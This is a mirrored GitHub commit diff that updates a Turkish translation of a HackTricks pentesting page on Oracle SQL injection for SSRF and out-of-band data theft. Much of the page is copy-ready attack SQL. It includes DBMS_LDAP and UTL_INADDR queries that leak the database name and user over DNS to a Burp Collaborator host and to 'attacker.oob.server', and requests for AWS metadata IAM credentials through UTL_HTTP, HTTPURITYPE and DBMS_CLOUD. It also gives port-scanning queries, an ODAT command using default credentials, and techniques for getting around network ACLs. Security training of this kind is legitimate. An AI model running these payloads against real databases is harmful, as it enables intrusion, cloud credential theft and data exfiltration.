mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/sql-injection/oracle-injection.md'] to t
This commit is contained in:
parent
03e6c98305
commit
ef8238fb37
@ -2,15 +2,15 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**Bu gönderiyi [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresindeki silinmiş gönderinin wayback makinesi kopyasıyla sunun.**
|
**Bu gönderiyi [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresindeki silinmiş gönderinin wayback machine kopyasıyla sunun.**
|
||||||
|
|
||||||
## SSRF
|
## SSRF
|
||||||
|
|
||||||
Oracle kullanarak Out of Band HTTP ve DNS istekleri yapmak iyi belgelenmiştir, ancak bu, enjeksiyonlarda SQL verilerini dışarı sızdırmanın bir yolu olarak kullanılır. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA'ları yapmak için değiştirebiliriz.
|
Oracle kullanarak Out of Band HTTP ve DNS istekleri yapmak iyi belgelenmiştir, ancak bu, enjeksiyonlarda SQL verilerini dışarı sızdırmak için bir yöntemdir. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA'ları yapmak için değiştirebiliriz.
|
||||||
|
|
||||||
Oracle kurmak gerçekten acı verici olabilir, özellikle de komutları denemek için hızlı bir örnek kurmak istiyorsanız. Arkadaşım ve [Appsecco](https://appsecco.com) ile iş arkadaşım [Abhisek Datta](https://github.com/abhisek), t2.large AWS Ubuntu makinesinde ve Docker ile bir örnek kurmamı sağlayan [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresini bana gösterdi.
|
Oracle'ı kurmak gerçekten acı verici olabilir, özellikle de komutları denemek için hızlı bir örnek kurmak istiyorsanız. [Appsecco](https://appsecco.com) şirketindeki arkadaşım ve meslektaşım [Abhisek Datta](https://github.com/abhisek), bana bir t2.large AWS Ubuntu makinesinde ve Docker'da bir örnek kurmamı sağlayan [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresini gösterdi.
|
||||||
|
|
||||||
Docker komutunu `--network="host"` bayrağı ile çalıştırdım, böylece bu blog yazısının süresince Oracle'ı tam ağ erişimi ile yerel bir kurulum olarak taklit edebildim.
|
Bu blog yazısının süresince Oracle'ı tam ağ erişimi ile yerel bir kurulum olarak taklit edebilmek için `--network="host"` bayrağı ile docker komutunu çalıştırdım.
|
||||||
```
|
```
|
||||||
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||||||
```
|
```
|
||||||
@ -37,19 +37,19 @@ Arama aşağıdaki sonuçları döndürdü (hepsi dışa ağ bağlantısı gerç
|
|||||||
- DBMS_STREAMS_ADM
|
- DBMS_STREAMS_ADM
|
||||||
- UTL_HTTP
|
- UTL_HTTP
|
||||||
|
|
||||||
Bu kaba arama açıkça `DBMS_LDAP` gibi paketleri atlıyor (bir ana bilgisayar adı ve port numarası geçişine izin verir) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) yönlendiriyor. Bu nedenle, dışa istekler yapmak için kötüye kullanılabilecek başka Oracle paketleri de olabilir, bunları atlamış olabilirim.
|
Bu kaba arama, `DBMS_LDAP` gibi paketleri açıkça atlıyor (bir ana bilgisayar adı ve port numarası geçişine izin verir) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) yönlendiriyor. Bu nedenle, dışa istekler yapmak için kötüye kullanılabilecek başka Oracle paketleri de olabilir, bunları atlamış olabilirim.
|
||||||
|
|
||||||
Her durumda, keşfettiğimiz ve yukarıda listelediğimiz bazı paketlere bir göz atalım.
|
Her durumda, keşfettiğimiz ve yukarıda listelediğimiz bazı paketlere bir göz atalım.
|
||||||
|
|
||||||
**DBMS_LDAP.INIT**
|
**DBMS_LDAP.INIT**
|
||||||
|
|
||||||
`DBMS_LDAP` paketi, LDAP sunucularından veri erişimine izin verir. `init()` fonksiyonu, bir LDAP sunucusuyla bir oturum başlatır ve bir ana bilgisayar adı ve port numarasını argüman olarak alır.
|
`DBMS_LDAP` paketi, LDAP sunucularından veri erişimine olanak tanır. `init()` fonksiyonu, bir LDAP sunucusuyla bir oturum başlatır ve bir ana bilgisayar adı ve port numarasını argüman olarak alır.
|
||||||
|
|
||||||
Bu fonksiyon, aşağıdaki gibi DNS üzerinden veri sızdırma gösteren belgelenmiştir.
|
Bu fonksiyon, aşağıdaki gibi DNS üzerinden veri sızdırma gösterimi için daha önce belgelenmiştir.
|
||||||
```
|
```
|
||||||
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
||||||
```
|
```
|
||||||
Ancak, fonksiyonun bir ana bilgisayar adı ve bir port numarasını argüman olarak kabul ettiğini göz önünde bulundurursak, bunu bir port tarayıcı gibi çalıştırmak için de kullanabilirsiniz.
|
Ancak, fonksiyonun bir ana bilgisayar adı ve bir port numarasını argüman olarak kabul ettiğini göz önünde bulundurursak, bunu bir port tarayıcı gibi çalışmak için de kullanabilirsiniz.
|
||||||
|
|
||||||
İşte birkaç örnek
|
İşte birkaç örnek
|
||||||
```
|
```
|
||||||
@ -58,7 +58,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
|||||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
||||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
||||||
```
|
```
|
||||||
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` hatası, bir oturum değerinin portun açık olduğunu göstermesine rağmen portun kapalı olduğunu gösterir.
|
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` hatası, portun kapalı olduğunu gösterirken, bir oturum değeri portun açık olduğunu işaret ediyor.
|
||||||
|
|
||||||
**UTL_SMTP**
|
**UTL_SMTP**
|
||||||
|
|
||||||
@ -84,7 +84,7 @@ END;
|
|||||||
|
|
||||||
`UTL_TCP` paketi ve prosedürleri ile fonksiyonları, [hizmetlerle TCP/IP tabanlı iletişim](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190) sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yapmak veya tüm Sunucu Tarafı İsteklerini gerçekleştirmek için kolayca bir yol haline gelebilir, çünkü bir TCP/IP bağlantısının tüm yönleri kontrol edilebilir.
|
`UTL_TCP` paketi ve prosedürleri ile fonksiyonları, [hizmetlerle TCP/IP tabanlı iletişim](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190) sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yapmak veya tüm Sunucu Tarafı İsteklerini gerçekleştirmek için kolayca bir yol haline gelebilir, çünkü bir TCP/IP bağlantısının tüm yönleri kontrol edilebilir.
|
||||||
|
|
||||||
Oracle dokümantasyon sitesindeki [örnek, bu paketi kullanarak bir web sayfasını almak için ham bir TCP bağlantısı nasıl yapılacağını göstermektedir](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Bunu biraz daha basitleştirip, örneğin metadata örneğine veya keyfi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.
|
Oracle dokümantasyon sitesindeki [örnek, bu paketi kullanarak bir web sayfasını almak için ham bir TCP bağlantısı nasıl yapabileceğinizi gösterir](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Bunu biraz daha basitleştirip, örneğin metadata örneğine veya keyfi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.
|
||||||
```
|
```
|
||||||
set serveroutput on size 30000;
|
set serveroutput on size 30000;
|
||||||
SET SERVEROUTPUT ON
|
SET SERVEROUTPUT ON
|
||||||
@ -128,18 +128,101 @@ END;
|
|||||||
|
|
||||||
**UTL_HTTP ve Web İstekleri**
|
**UTL_HTTP ve Web İstekleri**
|
||||||
|
|
||||||
Belki de her Out of Band Oracle SQL Injection eğitiminde en yaygın ve en çok belgelenmiş teknik [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) dir. Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. HTTP üzerinden İnternetteki verilere erişmek için kullanabilirsiniz.`
|
Belki de her Out of Band Oracle SQL Injection eğitiminde en yaygın ve en çok belgelenmiş teknik [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) dir. Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. HTTP üzerinden İnternetteki verilere erişmek için kullanılabilir.`
|
||||||
```
|
```
|
||||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||||
```
|
```
|
||||||
Ayrıca, bunu şu tür sorgularla bazı temel port taramaları gerçekleştirmek için de kullanabilirsiniz:
|
Ayrıca, bunu şu tür sorgularla bazı temel port taramaları gerçekleştirmek için de kullanabilirsiniz.
|
||||||
```
|
```
|
||||||
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
||||||
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
||||||
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
||||||
```
|
```
|
||||||
`ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP portunun kapalı olduğunu gösterirken, `ORA-29263: HTTP protocol error` veya veri, portun açık olduğunu gösterir.
|
`ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP portunun kapalı olduğunun bir işaretiyken, `ORA-29263: HTTP protocol error` veya veri, portun açık olduğunun bir işareti.
|
||||||
|
|
||||||
Geçmişte çeşitli başarılarla kullandığım başka bir paket, bir URL ile etkileşimde bulunmanıza ve HTTP protokolünü desteklemenize olanak tanıyan [`HTTPURITYPE` Oracle soyut türünün `GETCLOB()` yöntemi](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705)'dir. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri türü olarak](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) almak için kullanılır. [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
Geçmişte çeşitli başarılarla kullandığım başka bir paket, bir URL ile etkileşimde bulunmanıza ve HTTP protokolünü desteklemenize olanak tanıyan [`HTTPURITYPE` Oracle soyut türünün `GETCLOB()` yöntemi](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705)'dir. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri türü olarak](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) almak için kullanılır.
|
||||||
|
```
|
||||||
|
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
|
||||||
|
```
|
||||||
|
---
|
||||||
|
|
||||||
|
## Ek Paketler ve Teknikler (Oracle 19c → 23c)
|
||||||
|
|
||||||
|
### UTL_INADDR – DNS tabanlı dışa aktarma ve host keşfi
|
||||||
|
|
||||||
|
`UTL_INADDR`, veritabanı sunucusundan dışa doğru bir DNS sorgusu tetikleyen basit ad çözümleme yardımcılarını açığa çıkarır. Sadece bir alan adı gerektiğinden (port/ACL gerekmez) diğer ağ çağrıları engellendiğinde kör dışa aktarma için güvenilir bir ilkelidir.
|
||||||
|
```sql
|
||||||
|
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
|
||||||
|
SELECT UTL_INADDR.get_host_address(
|
||||||
|
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
|
||||||
|
'.attacker.oob.server') FROM dual;
|
||||||
|
```
|
||||||
|
`get_host_address()` çözümlenen IP'yi döndürür (veya çözümleme başarısız olursa `ORA-29257` hatası verir). Saldırgan, kodun çalıştığını doğrulamak için kontrol edilen alandaki gelen DNS isteğini izlemek zorundadır.
|
||||||
|
|
||||||
|
### DBMS_CLOUD.SEND_REQUEST – Otonom/23c üzerinde tam HTTP istemcisi
|
||||||
|
|
||||||
|
Son zamanlarda bulut merkezli sürümler (Otonom Veritabanı, 21c/23c, 23ai) `DBMS_CLOUD` ile birlikte gelir. `SEND_REQUEST` fonksiyonu, özel fiiller, başlıklar, TLS ve büyük gövdeleri destekleyen genel amaçlı bir HTTP istemcisi olarak işlev görür ve bu da onu klasik `UTL_HTTP`'den çok daha güçlü hale getirir.
|
||||||
|
```sql
|
||||||
|
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
|
||||||
|
BEGIN
|
||||||
|
-- empty credential when no auth is required
|
||||||
|
DBMS_CLOUD.create_credential(
|
||||||
|
credential_name => 'NOAUTH',
|
||||||
|
username => 'ignored',
|
||||||
|
password => 'ignored');
|
||||||
|
END;
|
||||||
|
/
|
||||||
|
|
||||||
|
DECLARE
|
||||||
|
resp DBMS_CLOUD_TYPES.resp;
|
||||||
|
BEGIN
|
||||||
|
resp := DBMS_CLOUD.send_request(
|
||||||
|
credential_name => 'NOAUTH',
|
||||||
|
uri => 'http://169.254.169.254/latest/meta-data/',
|
||||||
|
method => 'GET',
|
||||||
|
timeout => 3);
|
||||||
|
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
|
||||||
|
END;
|
||||||
|
/
|
||||||
|
```
|
||||||
|
Çünkü `SEND_REQUEST` rastgele hedef URI'lerine izin veriyor, SQLi aracılığıyla kötüye kullanılabilir:
|
||||||
|
1. Dahili port taraması / SSRF bulut meta veri hizmetlerine.
|
||||||
|
2. HTTPS üzerinden dışarıdan veri sızdırma (Burp Collaborator veya bir `ngrok` tüneli kullanın).
|
||||||
|
3. Eski çağrı paketleri ACL'ler tarafından devre dışı bırakıldığında bile saldırgan sunuculara geri çağırmalar.
|
||||||
|
|
||||||
|
ℹ️ Eğer sadece klasik bir yerel 19c'ye sahipseniz ama Java saklı prosedürleri oluşturabiliyorsanız, bazen OCI istemci paketi üzerinden `DBMS_CLOUD` yükleyebilirsiniz — bazı angajmanlarda faydalıdır.
|
||||||
|
|
||||||
|
### **ODAT** ile saldırı yüzeyini otomatikleştirme
|
||||||
|
|
||||||
|
[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) modern sürümlerle uyumlu kalmıştır (19c, 5.1.1 – Nisan-2022'ye kadar test edilmiştir). `–utl_http`, `–utl_tcp`, `–httpuritype` ve daha yeni `–dbms_cloud` modülleri otomatik olarak:
|
||||||
|
* Kullanılabilir çağrı paketlerini/ACL izinlerini tespit eder.
|
||||||
|
* Kör çıkarım için DNS ve HTTP geri çağırmalarını tetikler.
|
||||||
|
* Burp/SQLMap için kopyalamaya hazır SQL yükleri oluşturur.
|
||||||
|
|
||||||
|
Örnek: varsayılan kimlik bilgileri ile hızlı OOB kontrolü (arka planda ACL numaralandırmasını halleder):
|
||||||
|
```bash
|
||||||
|
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
|
||||||
|
```
|
||||||
|
### Son ağ ACL kısıtlamaları ve atlatmalar
|
||||||
|
|
||||||
|
Oracle, Temmuz 2023 CPU'sunda varsayılan Ağ ACL'lerini sıkılaştırdı — yetkisiz hesaplar artık varsayılan olarak `ORA-24247: network access denied by access control list` alıyor. İki desen, SQLi aracılığıyla çağrılara izin vermeye devam ediyor:
|
||||||
|
1. Hedef hesap, bir geliştirici tarafından entegrasyonlar için eklenen bir ACL girişine (`DBMS_NETWORK_ACL_ADMIN.create_acl`) sahiptir.
|
||||||
|
2. Saldırgan, *zaten* `AUTHID DEFINER` ve gerekli yetkilere sahip olan yüksek ayrıcalıklı bir PL/SQL tanımlayıcı hakları rutinini (örneğin, özel bir uygulamada) kötüye kullanır.
|
||||||
|
|
||||||
|
Sömürü sırasında `ORA-24247` ile karşılaşırsanız, her zaman yeniden kullanılabilir prosedürler arayın:
|
||||||
|
```sql
|
||||||
|
SELECT owner, object_name
|
||||||
|
FROM dba_objects
|
||||||
|
WHERE object_type = 'PROCEDURE'
|
||||||
|
AND authid = 'DEFINER';
|
||||||
|
```
|
||||||
|
(müfettişliklerde en az bir raporlama/ihracat prosedürü gerekli haklara sahipti).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Referanslar
|
||||||
|
|
||||||
|
* Oracle Belgeleri – `DBMS_CLOUD.SEND_REQUEST` paketi tanımı ve örnekleri.
|
||||||
|
* quentinhardy/odat – Oracle Veritabanı Saldırı Aracı (son sürüm 5.1.1, Nis-2022).
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user